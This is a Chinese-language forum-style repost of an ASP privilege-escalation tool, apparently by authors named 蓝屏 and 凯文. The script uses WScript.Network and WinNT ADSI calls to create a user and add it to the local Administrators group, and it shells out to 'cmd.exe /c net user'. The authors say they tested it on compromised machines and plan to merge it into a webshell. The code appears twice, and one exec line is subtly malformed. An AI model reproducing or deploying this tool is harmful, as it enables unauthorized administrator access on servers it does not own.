添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]
程序员文章站
2023-11-21 17:12:52
添加超级用户的.asp代码[蓝屏的原创,凯文改进,ms未公布的漏洞] 作者：蓝屏,凯文 文章来源：冰点极限其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗....
添加超级用户的.asp代码[蓝屏的原创,凯文改进,ms未公布的漏洞]
作者：蓝屏,凯文 文章来源：冰点极限
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```
反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。
<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" value="添 加">
</form>
<%@codepage=936
on error resume next
if request.servervariables("remote_addr")<>"127.0.0.1" then
response.write "ip !s n0t right"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
response.expires=0
session.timeout=50
server.scripttimeout=3000
set lp=server.createobject("wscript.network")
oz="winnt://"&lp.computername
set ob=getobject(oz)
set oe=getobject(oz&"/administrators,group")
set od=ob.create("user",username)
od.setpassword passwd
od.setinfo
oe.add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
response.write "omg!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000rmb是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>
作者：蓝屏,凯文 文章来源：冰点极限
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```
反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。
复制代码 代码如下:
<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" value="添 加">
</form>
<%@codepage=936
on error resume next
if request.servervariables("remote_addr")<>"127.0.0.1" then
response.write "ip !s n0t right"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
response.expires=0
session.timeout=50
server.scripttimeout=3000
set lp=server.createobject("wscript.network")
oz="winnt://"&lp.computername
set ob=getobject(oz)
set oe=getobject(oz&"/administrators,group")
set od=ob.create("user",username)
od.setpassword passwd
od.setinfo
oe.add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
response.write "omg!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000rmb是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>